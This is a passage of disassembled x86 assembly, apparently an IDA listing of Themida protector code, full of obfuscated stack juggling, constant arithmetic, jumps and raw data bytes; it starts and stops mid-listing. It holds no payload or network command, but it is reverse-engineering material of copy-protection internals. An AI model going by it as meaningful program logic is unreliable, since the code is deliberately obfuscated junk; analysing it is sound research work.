		mov	edi, [esp]
		jmp	loc_4FB1C7
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 10h
		dd 0B8FFFFCCh, 4, 39AAEB81h, 0C3014FAEh, 39AAC381h, 0F6E94FAEh
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FDC83:				; CODE XREF: Themida_:004FEB5Cj
		xor	dword ptr [esp], 48C21608h
		pop	edx
		xor	edx, 48C21608h
		push	esi
		mov	esi, esp
		jmp	loc_4FCFBF
; ---------------------------------------------------------------------------
aYa		db 'Yۮ([',0
		db 0F0h
		dd 9E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FDCA5:				; CODE XREF: Themida_:0050132Aj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	[edi+1Ch], ecx
		pop	ecx
		push	64B0h
		mov	[esp], ebx
		jmp	loc_5008A7
; ---------------------------------------------------------------------------


loc_4FDCBD:				; CODE XREF: Themida_:004F842Cj
		sub	[esp], eax
		jmp	loc_4FA418
; ---------------------------------------------------------------------------


loc_4FDCC5:				; CODE XREF: Themida_:004F908Cj
		add	ebx, edi
		mov	ecx, [ebx]
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_50184D
; ---------------------------------------------------------------------------


loc_4FDCD8:				; CODE XREF: Themida_:0050078Dj
		shr	eax, 0Ch
		xor	eax, ecx
		push	4984h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_4FF76F
; ---------------------------------------------------------------------------
		db 0C0h, 0E6h, 3
		dd 806CF680h, 0EE8012EEh, 66F0304Ch, 5124148Bh,	0FFA062E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FDD49:				; CODE XREF: Themida_:004F642Fj
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_4FE836
; ---------------------------------------------------------------------------


loc_4FDD63:				; CODE XREF: Themida_:004F80EEj
		mov	ebx, edi
		pop	edi
		mov	esi, ebx
		jmp	loc_4FB5E3
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 0FF8F95E9h, 241489FFh, 0C6FEF8B6h, 80A9F680h, 0F72839EFh
		dd 5A39C780h, 805BFE88h, 0F330A0F6h, 8124148Bh,	4C4h, 35D6E900h
		dd 595E0000h, 0FF205F89h, 0E95B2434h, 0EBFh
; ---------------------------------------------------------------------------


loc_4FDDAC:				; CODE XREF: Themida_:004FB6E4j
		jz	loc_4F7F69
		push	ebp
		push	eax
		mov	eax, 22814D15h
		and	eax, 581C1002h
		shr	eax, 8
		shr	eax, 3
		push	ecx
		mov	ecx, 3C7F5820h
		sub	ecx, 1
		push	edi
		jmp	loc_4FBA15
; ---------------------------------------------------------------------------
		db 81h
		dd 61051FEFh, 54E94F11h, 55FFFFF8h, 565B951h, 0D9F72527h
		dd 0F616E981h, 0E95783EBh, 0FFFFAB72h, 0FFC38343h, 1D64E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FDDFE:				; CODE XREF: Themida_:004FE33Fj
		shr	edx, 3
		jmp	loc_4FA0D8
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8BF83002h, 6E9241Ch,	5DFFFFE7h, 0A4E9C101h, 1FFFFCFh
		dd 0FAEA81FAh, 5F2C9B43h, 7EF28158h, 0E98C49F0h, 0FFFFC54Fh
; ---------------------------------------------------------------------------


loc_4FDE30:				; CODE XREF: Themida_:004FF47Ej
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_4FB5BE
; ---------------------------------------------------------------------------
		dd offset dword_4C92F8+770h
		align 4
		dd 54243489h, 72B8505Eh, 0C1441524h, 0D8F704E8h, 68h, 0A37AE900h
		dd 2C33FFFFh, 2748E924h, 575B0000h, 0E6685152h,	5970913Ah
		dd 5DE9D1F7h, 8BFFFFC3h, 0C483243Ch, 0E0895004h, 405h
		dd 4C08300h, 5C240487h,	148BD031h, 4EC8324h, 54240C89h
		dd 0FFB275E9h, 7E70E9FFh, 0B850FFFFh, 72562A34h, 0DE35D8F7h
		dd 0E929674Dh, 107Eh, 0C268E689h, 8900002Dh, 0A7BD242Ch
		dd 812FC221h, 3605BCF5h, 8E5C15Bh, 8106EDC1h, 0D09068F5h
		dd 8BEE0103h, 0C481242Ch, 4, 0FF91DAE9h, 80C328FFh, 0EB80ABEBh
		dd 0C0B60F12h, 46E8E9h,	39B65200h, 0FFC1B5E9h, 6AA8BEFFh
		dd 3CE92E90h, 81FFFFE7h, 9975FAC9h, 81414938h, 9A2986E1h
		dd 78E98175h, 294007C5h, 2FB4E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FDF22:				; CODE XREF: Themida_:004FD24Dj
		sub	eax, 603F7395h
		mov	ebx, eax
		pop	eax
		shl	ebx, 4
		or	ebx, 50C858A1h
		add	ebx, 6A40374Eh
		and	ebx, 45A01A4Bh
		add	ebx, 3E4E110Eh
		add	ebx, 8191DCEBh
		sub	edi, 43216E1Ah
		add	edi, 3EF3721h
		add	edi, 4A832C75h
		add	edi, ebx
		sub	edi, 4A832C75h
		sub	edi, 3EF3721h
		add	edi, 43216E1Ah
		pop	ebx
		jmp	loc_4FB997
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFF748h, 0DB7E9ADh, 3DBD0000h, 8106C757h
		dd 930BD9C5h, 12F58128h, 12F5A63h, 56555DE8h, 468h, 0F5895E00h
		dd 8BE8295Eh, 0B2E9242Ch
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FDFAF:				; CODE XREF: Themida_:004FFE5Dj
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		push	edi
		mov	edi, 75EC280Dh
		jmp	loc_4F6DDD
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0BB241C89h, 4, 0FFA5BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FDFD1:				; CODE XREF: Themida_:004FA909j
		xor	dword ptr [esp], 65D04F55h
		pop	ebx
		xor	ebx, 65D04F55h
		pop	ebp
		push	edx
		mov	edx, 3F431AFCh
		jmp	loc_500370
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0B75366D9h, 203E9CDh, 0E9590000h, 2B9h, 81242C8Bh, 4C4h
		dd 4EC8100h, 89000000h,	0CAE92434h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FE013:				; CODE XREF: Themida_:00500772j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_4FB24A
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_4FFFFE
; ---------------------------------------------------------------------------


loc_4FE03B:				; CODE XREF: Themida_:004FE796j
		add	eax, 175913B1h
		pop	ebp
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_4F9BC0
; ---------------------------------------------------------------------------


loc_4FE04C:				; CODE XREF: Themida_:004FC7A7j
		add	esi, ebp
		jmp	loc_4F90B6
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8702E9h, 24248B24h, 24148966h, 0E99C5066h,	1EA0h
		dd 54E9BD55h, 0C5817DFBh, 8204AB1Bh, 48FDC681h,	0EE016175h
		dd 48FDEE81h, 815D6175h, 2C6h, 24348700h, 9CC8845Ch, 0FF7CACE9h
		dd 0AFBDFFh, 0ED816526h, 4B1856CEh, 5005EDC1h, 0B0C70B8h
		dd 8BC5217Eh, 16E92404h, 89FFFFD3h, 0A6BD242Ch,	816CEF02h
		dd 516A32F5h, 0E558E96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FE0C6:				; CODE XREF: Themida_:004F94F5j
		and	ebx, edi
		jmp	loc_502777
; ---------------------------------------------------------------------------


loc_4FE0CD:				; CODE XREF: Themida_:004F7422j
		push	ebp
		jmp	loc_4FCEE0
; ---------------------------------------------------------------------------


loc_4FE0D3:				; CODE XREF: Themida_:004FF6E6j
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ch, 0D8h
		sub	esp, 4
		jmp	loc_4FA762
; ---------------------------------------------------------------------------
		dd 525E5456h, 0FA6016BAh, 0FDEA8142h, 8153A872h, 0AE12EBC2h
		dd 0D8E910h, 0EC810000h, 4, 0E9240489h,	0FFFFB560h, 0B519B450h
		dd 0AB6DE9AEh, 0C581FFFFh, 306A70DCh, 84E9F501h, 81FFFFEFh
		dd 0BC43E1C7h, 5FFE0116h, 0F681DEF7h, 717B4FC1h, 3D35E9h
		dd 0A0E95900h, 0F7FFFFE2h, 0C1582414h, 0F74802E0h, 0A0BA52D8h
		dd 555CF859h, 0DB7537BDh, 7E5C14Dh, 0F581D5F7h,	5D000E73h
		dd 747E9h, 92BF5700h, 121FC3Ch,	9A4E9FBh, 0C3810000h, 4
		dd 0FFD8D3E9h, 5EF089FFh, 1209E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FE185:				; CODE XREF: Themida_:004FEA85j
		add	eax, 0D822F5D4h
		sub	edi, eax
		pop	eax
		sub	edi, 0F149990Eh
		add	ebx, 6C2A3281h
		jmp	loc_4F7586
; ---------------------------------------------------------------------------
		dw 0D92Ch
		dd 0FFDE70E9h, 0C8B66FFh, 0E1895124h, 4C181h, 0EC830000h
		dd 242C8904h, 6E90BB53h, 0B9511E43h, 255FA800h,	75E9CD89h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FE1CB:				; CODE XREF: Themida_:004F81B5j
		add	esp, 4
		jmp	loc_4F75AF
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 4C6835Ah, 5C243487h,	0FFF702E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FE1E5:				; CODE XREF: Themida_:004F7196j
		mov	ebx, 0FFFFFFFFh
		sub	[edi+24h], ebx
		pop	ebx
		jmp	loc_4F72B3
; ---------------------------------------------------------------------------


loc_4FE1F3:				; CODE XREF: Themida_:004FF23Bj
		pop	ebx
		jmp	loc_4F73BA
; ---------------------------------------------------------------------------
		db 28h,	0F9h, 66h
		dd 59CB005Bh, 0E9C0B60Fh, 0FFFFC5E2h, 0E924248Bh, 0FFFFF265h
		dd 4B9h, 0FFC80100h, 0E2E92434h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FE21F:				; CODE XREF: Themida_:004F7143j
		pop	esi
		add	dword ptr [esp+4], 457E385Bh
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 457E385Bh
		jmp	loc_4F842B
; ---------------------------------------------------------------------------
		db 0E9h, 0D4h, 7Ah
		dd 3C33FFFFh, 0CC4DE924h, 0E289FFFFh, 4C281h, 0C2810000h
		dd 4, 2474FF52h, 24148B04h, 8F04C483h, 248B2404h, 3FB0124h
		dd 68535B03h, 3D7Ah, 50242489h,	4B8h, 24440100h, 1C8B5804h
		dd 4C48124h, 83000000h,	48904ECh, 0F9D9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FE292:				; CODE XREF: Themida_:004FA82Fj
		mov	edi, 8E18FBAFh
		jmp	loc_4FD39C
; ---------------------------------------------------------------------------


loc_4FE29C:				; CODE XREF: Themida_:004FD06Aj
		xchg	ebx, [esp]
		jmp	loc_4FFCC8
; ---------------------------------------------------------------------------


loc_4FE2A4:				; CODE XREF: Themida_:004FD5ECj
		push	ebx
		jmp	loc_4FF414
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24248B24h, 0FFA961E9h, 4EA81FFh, 87000000h, 895C2414h
		dd 0C788241Ch, 8B5BFA88h, 0C4812404h, 4, 5305E2C0h, 0A3E905B3h
		dd 8BFFFF7Dh, 0EC832424h, 240C8904h, 9C20E95Bh,	0C281FFFFh
		dd 4, 2C281h, 0FF520000h, 0E9042474h, 0FFFFB499h, 0EE6DE95Dh
		dd 0D001FFFFh, 98403105h, 181CE965h, 3C870000h,	1C895C24h
		dd 1EF8BB24h, 0D3F704B1h, 0C383EBD1h, 2E3C101h,	0F381D3F7h
		dd 9623DEBh, 726FC581h,	0DD013FDAh, 0FFC12EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FE33D:				; CODE XREF: Themida_:00500372j
		not	edx
		jmp	loc_4FDDFE
; ---------------------------------------------------------------------------
		dd 4C481h, 0C3810000h, 84E4854h, 1C8BD921h, 8DEEE924h
		dd 875AFFFFh, 0FF5C240Ch, 81582434h, 4ECh, 24048900h, 20BCE951h
		dd 0D0010000h, 2404875Ah, 8966645Ch, 7DACE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FE382:				; CODE XREF: Themida_:004F698Aj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		push	edx
		mov	edx, 535C3FD5h
		xor	edx, 74AA0E54h
		add	edx, 0D809CE80h
		mov	ebx, edx
		jmp	loc_4F9862
; ---------------------------------------------------------------------------
		db 81h
		dd 0FA43ACCBh, 0BCBA525Ch, 297CFB67h, 0C7815AD3h, 698F7AB7h
		dd 0BE9DF01h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FE3BF:				; CODE XREF: Themida_:004FF76Aj
		mov	edx, 51042EAAh
		neg	edx
		shl	edx, 3
		neg	edx
		inc	edx
		xor	edx, 88217555h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		push	423Ch
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_4FD83C
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFCB2Eh
; ---------------------------------------------------------------------------


loc_4FE408:				; CODE XREF: Themida_:00500A4Dj
		inc	edi
		shr	edi, 8
		push	esi
		mov	esi, 405C32F6h
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_502071
; ---------------------------------------------------------------------------


loc_4FE41C:				; CODE XREF: Themida_:004FA05Bj
		inc	esi
		sub	esi, 0BD6992BDh
		mov	edx, esi
		jmp	loc_4FA3EB
; ---------------------------------------------------------------------------
		dw 5058h
		dd 291EE9h, 5BD82900h, 5158C229h, 0FF9310E9h, 1EF81FFh
		dd 51000000h, 1B4D8768h, 0C7815978h, 2AF56A08h,	0FF8A68E9h
		dd 4EC83FFh, 67CE9h, 0C4C68100h, 0E94FA539h, 0FFFFCE17h
		dd 0E932FF66h, 0FFFF78A2h, 2D59C801h, 4, 8B240487h, 0C892424h
		dd 0E935B524h, 0FFFFC9C8h
; ---------------------------------------------------------------------------


loc_4FE488:				; CODE XREF: Themida_:00502076j
		pop	edi
		push	3442h
		mov	[esp], ebp
		mov	ebp, 0EE26493h
		add	ebp, 128C709Fh
		neg	ebp
		jmp	loc_4F9045
; ---------------------------------------------------------------------------
		db 1
		dd 9BE95AD1h, 86FFFFCBh, 0D4DDE9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FE4B2:				; CODE XREF: Themida_:004FEB0Aj
		inc	edx
		push	ebp
		mov	ebp, 11C04F75h
		or	edx, ebp
		pop	ebp
		jmp	loc_501B85
; ---------------------------------------------------------------------------


loc_4FE4C1:				; CODE XREF: Themida_:004F8961j
		shr	ebp, 2
		shr	ebp, 6
		xor	ebp, 0A75236h
		xor	edi, ebp
		pop	ebp
		jmp	loc_4F8BFD
; ---------------------------------------------------------------------------
		db 66h,	58h, 80h
		dd 0C980DBE1h, 1CF180AEh, 3F40E9h, 1AC58100h, 81188298h
		dd 0E968F1EBh, 0C94DE912h, 55CFFFFh, 4,	2BD55h,	0E8010000h
		dd 1BA8E95Dh, 148B0000h, 4C48124h, 80000000h, 0EB28B4EBh
		dd 0FFADE2E9h, 0C0F9B3FFh, 0EB8006E3h, 0D5C18076h, 0E980D900h
		dd 9045BD5h, 58E9C828h,	5EFFFF84h, 47B6C681h, 0F7316072h
		dd 8324348Bh, 0F2E904C4h, 2100002Fh, 2434FFD6h,	0E189515Ah
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 119FE9h, 0BE565F00h
		dd 6A590EA9h, 29A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FE575:				; CODE XREF: Themida_:005018D2j
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_4FABCA
; ---------------------------------------------------------------------------
		db 68h,	9Bh, 28h
		dd 14890000h, 39FD6824h, 3BE90000h, 0C1000036h,	0F18107E9h
		dd 56FA2F6Ch, 50C2BE56h, 0F6814C6Dh, 7C87032Ah,	348BF109h
		dd 4C48324h, 3B62E9h, 86BE5600h, 0B87E854Bh, 460F681Fh
		dd 348BF031h, 4C48324h,	1ABE5648h, 29527E59h, 0E8C15EF0h
		dd 0E9D8F704h, 0FFFFB559h
; ---------------------------------------------------------------------------


loc_4FE5E4:				; CODE XREF: Themida_:004F86F3j
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	6D28h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_4FA999
; ---------------------------------------------------------------------------


loc_4FE605:				; CODE XREF: Themida_:004FAEF2j
		sub	ecx, 5456496Dh
		mov	ebp, ecx
		pop	ecx
		xor	eax, ebp
		jmp	loc_4F9E79
; ---------------------------------------------------------------------------


loc_4FE615:				; CODE XREF: Themida_:005012C7j
		pop	edi
		jmp	loc_4F7EF3
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 1448E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FE626:				; CODE XREF: Themida_:004FF7D0j
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	ecx
		jmp	loc_4FFC2F
; ---------------------------------------------------------------------------
		db 81h
		dd 2C4h, 83B65200h, 86A8B450h, 86C3FEDCh, 37C480DCh, 0FFB9BAE9h
		dd 24348BFFh, 104C483h,	0BB535DEEh, 38232876h, 0E901EB83h
		dd 0FFFFC349h, 0BA52D001h, 2CB2B90h, 79E9D001h,	0B4FFFF77h
		dd 3004B763h, 1226E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FE67E:				; CODE XREF: Themida_:004F7849j
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_4FA49B
; ---------------------------------------------------------------------------
		db 54h
		dd 0FF9D4DE9h, 515A66FFh, 5D5968h, 24148900h, 0C280CFB2h
		dd 0A1B353F9h, 1590E9h,	242C8100h, 6090A4Dh, 0D5685657h
		dd 0E96FD624h, 3DE5h, 0AEBD555Dh, 0E940D27Bh, 0FFFFAE08h
; ---------------------------------------------------------------------------


loc_4FE6C4:				; CODE XREF: Themida_:004F6796j
		pop	edx
		sub	eax, 0E0A60AAh
		jmp	loc_4F9355
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0EE952DDh, 66FFFFC4h, 0B1B25258h, 0E929EA80h, 0FFFFCEEDh
		dd 906EA81h, 0C2016AC9h, 906C281h, 0BE566AC9h, 2A896CF5h
		dd 535EF201h, 18119BBBh, 5BDA017Eh, 0FF7609E9h,	38B368FFh
		dd 34890000h, 66DABE24h, 0F52942A0h, 0BF575B5Eh, 23CA1F3Fh
		dd 207FE9h, 90E95300h, 50FFFFEFh, 734D5CB8h, 32C12D77h
		dd 0C10192C2h, 0D7C18158h, 8104DD62h, 0FE3165E9h, 81F1016Eh
		dd 0FE3165C1h, 4FE9576Eh, 66FFFFAFh, 66243433h,	66243431h
		dd 3431665Eh, 34336624h, 34316624h, 75A4E924h, 8B66FFFFh
		dd 5452240Ch, 4C2815Ah,	81000000h, 4ECh, 0B4A0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FE786:				; CODE XREF: Themida_:00500EC5j
		push	eax
		mov	eax, 31FB0FD3h
		sub	ebp, eax
		pop	eax
		sub	eax, 175913B1h
		add	eax, ebp
		jmp	loc_4FE03B
; ---------------------------------------------------------------------------
		db 55h
		dd 4711E7BDh
		db 21h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_4FA6E9
; ---------------------------------------------------------------------------
		dw 0A5BBh
		dd 0F7588714h, 0C38143DBh, 588714A8h, 0FF810FE9h, 5FFB89FFh
		dd 4A5BDA89h, 0EEE9DAF7h, 81FFFF9Fh, 397E77F2h,	3E2C12Eh
		dd 0FF8F59E9h, 24248BFFh, 0FFF3FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FE7E9:				; CODE XREF: Themida_:004F7EFCj
		push	eax
		add	dword ptr [esp], 2F202C1Dh
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 2F202C1Dh
		push	dword ptr [esp]
		jmp	loc_5004BE
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D259669Dh, 0E99C241Ch, 2B48h
; ---------------------------------------------------------------------------


loc_4FE814:				; CODE XREF: Themida_:004FA4FAj
		pop	esp
		jmp	loc_4F90D7
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 31275EEDh, 0FF8373E9h, 24048BFFh, 8104C483h,	0C259C4C6h
		dd 0E3EAE94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FE836:				; CODE XREF: Themida_:004FDD5Ej
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_4FB3AB
; ---------------------------------------------------------------------------
		dd 1BE95451h, 29FFFFBFh, 0EEBE56C3h, 1344B22h, 24348BF3h
		dd 5504C483h, 0FFED94E9h, 52AD66FFh, 0FFEC26E9h, 5AD101FFh
		dd 4C181h, 0C870000h, 0C0835C24h, 24048702h, 6624248Bh
		dd 9C2404FFh, 0FF7485E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FE88D:				; CODE XREF: Themida_:00501B51j
		xchg	edi, [esp]
		pop	esp
		push	4BEEh
		jmp	loc_4F6913
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF9152E9h, 24048BFFh, 0E904C483h, 0FFFFE250h, 0A4E9EA21h
		dd 66FFFF83h, 52240C8Bh, 2434FF54h, 8124148Bh, 4C4h, 4C48300h
		dd 4B850h, 0EDE90000h, 81FFFF86h, 8C2C80F2h, 5AD10114h
		dd 8704E983h, 895C240Ch, 2E9243Ch, 0B8000005h, 6F9973E9h
		dd 5158C229h, 867650B9h, 59CA0123h, 0FF797EE9h,	2474FFFFh
		dd 2434FF04h, 4C48159h,	8F000000h, 248B2404h, 240CD324h
		dd 73F4E99Ch, 0C680FFFFh, 66F58601h, 0B7536650h, 66FC88ECh
		dd 66E5085Bh, 0C0D5F658h, 0D5F604EDh, 80E3C580h, 0EB287AEBh
		dd 597AC380h, 0C380C328h, 0C0B60FE1h, 148B5452h, 4C48324h
		dd 3876BE56h, 73E95F27h, 8000003Bh, 0EB806DE3h,	8BD80019h
		dd 0C483241Ch, 66F02804h, 0E9E7B151h, 0FFFFB52Dh
; ---------------------------------------------------------------------------


loc_4FE978:				; CODE XREF: Themida_:005015D7j
		sub	eax, 7FC6FCE2h
		sub	ebx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_4F976E
; ---------------------------------------------------------------------------
		dd 0A36EEBBFh, 0D1EFD13Dh, 0EF8147E7h, 38834FCh, 0EE6FE953h
		dd 0C581FFFFh, 7FF50CB0h, 0FFA6C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FE9A9:				; CODE XREF: Themida_:005007E7j
		sub	edi, 0FFF72D9Ah
		sub	eax, edi
		pop	edi
		sub	ebp, 2DB45A28h
		sub	ebp, 39E81A4Bh
		add	ebp, eax
		jmp	loc_4FCDBC
; ---------------------------------------------------------------------------


loc_4FE9C5:				; CODE XREF: Themida_:00501F66j
		xchg	ebx, [esp]
		pop	esp
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5002BE
; ---------------------------------------------------------------------------
aIsrs		db '‰áRé¶ ',0
		align 2
		dw 0D909h
		dd 0FFB840E9h, 5AD389FFh, 38C5EB81h, 0C3017B92h, 38C5C381h
		dd 0E5E97B92h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FEA03:				; CODE XREF: Themida_:005018B9j
		sub	edi, esi
		jmp	loc_4F7186
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0B6241489h, 0F2E950ECh, 89FFFF99h, 4C781E7h, 83000000h
		dd 3C8704C7h, 0FF555C24h, 8B042474h, 0C483242Ch, 24048F04h
		dd 9FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FEA3D:				; CODE XREF: Themida_:004FC588j
		push	esi
		jmp	loc_4FC1F1
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048F54h, 3F9B951h,	0D1F75650h, 3FEC181h, 0DCE95650h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FEA5B:				; CODE XREF: Themida_:004F8C78j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_4FDB18
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0BF4FBB24h, 0DA2988A1h, 8BD3895Bh, 73E92414h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FEA7B:				; CODE XREF: Themida_:00501B48j
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		inc	eax
		inc	eax
		jmp	loc_4FE185
; ---------------------------------------------------------------------------


loc_4FEA8A:				; CODE XREF: Themida_:004FBA4Bj
		mov	eax, 4
		add	edx, eax
		jmp	loc_4FAA7B
; ---------------------------------------------------------------------------
		dw 0E300h
		dd 0FF99FAE9h, 564ABBFFh, 0D3F70814h, 636EE381h, 504B77AAh
		dd 233819B8h, 0F2BD5566h, 29EE7916h, 0C3315DE8h, 8124048Bh
		dd 4C4h, 0C4C28100h, 0E916F905h, 0FFFFA3FDh, 5153DE87h
		dd 0FF787FE9h, 240C89FFh, 0E957E189h, 0FFFF8066h
; ---------------------------------------------------------------------------


loc_4FEAE4:				; CODE XREF: Themida_:004FA71Cj
		and	esi, 56CC21DFh
		not	esi
		jmp	loc_5017C5
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 1000000h, 5A042454h,	0E924048Bh, 0F01h
; ---------------------------------------------------------------------------


loc_4FEB04:				; CODE XREF: Themida_:004FC225j
		push	edx
		mov	edx, 18DB711Ch
		jmp	loc_4FE4B2
; ---------------------------------------------------------------------------
		db 30h
		dd 7A0EE9CFh, 685FFFFFh, 5ABh, 0FF8CABE9h, 1FEA81FFh, 0D1127F6Ch
		dd 0ECEA81EAh, 89164009h, 24148BD1h, 4C481h, 5FE90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FEB3F:				; CODE XREF: Themida_:004FB63Bj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	dword ptr [esp+4], 310680h
		pop	eax
		pop	dword ptr [edi+24h]


loc_4FEB5A:				; CODE XREF: Themida_:004F98DCj
		push	edx
		push	ebx
		jmp	loc_4FDC83
; ---------------------------------------------------------------------------


loc_4FEB61:				; CODE XREF: Themida_:004F821Dj
		pop	esp
		add	edx, 5F9946ECh
		pop	eax
		shl	edx, 2
		push	ecx
		mov	ecx, 75EF001Eh
		jmp	loc_4F8F9C
; ---------------------------------------------------------------------------
		db 29h
		dd 24148BD3h, 0FFA63BE9h, 0AEE281FFh, 0E921EE40h, 0FFFFAAC6h
		dd 0E95FF931h, 2D43h, 0ED4CD81h, 0F581594Fh, 5DE427DEh
		dd 685DEF89h, 0DF8h, 0BE243489h, 65480318h, 0FFC26FE9h
		dd 0B65266FFh, 0AE34E96Fh, 401FFFFh, 3A9AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FEBC6:				; CODE XREF: Themida_:004FDB25j
		mov	esi, 214B36A3h
		jmp	loc_50090B
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_4F6DB5
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 4C481h, 5680000h,	8900006Fh, 0E6892434h
		dd 8904EC83h, 4B9240Ch,	1000000h, 240C8BCEh, 4C481h, 0E9530000h
		dd 0FFFFC85Ah, 24048B66h, 0FF9B95E9h, 5EF701FFh, 6DE9525Eh
		dd 0B8FFFF83h, 50DF0427h, 218FE9h, 4EC8300h, 83242489h
		dd 8B042404h, 0C483243Ch, 0B8BB5304h, 0E928E96Ah, 0A43h
		dd 4FC38166h, 0C7686638h, 4896600h, 8B86624h, 0C329663Bh
		dd 1665866h, 0C38166C3h, 42E93B08h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_4FF589
; ---------------------------------------------------------------------------
		db 89h,	0D5h, 5Ah
		dd 4246C01h, 0FF8772E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FEC85:				; CODE XREF: Themida_:004FFA8Bj
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, 35A10495h
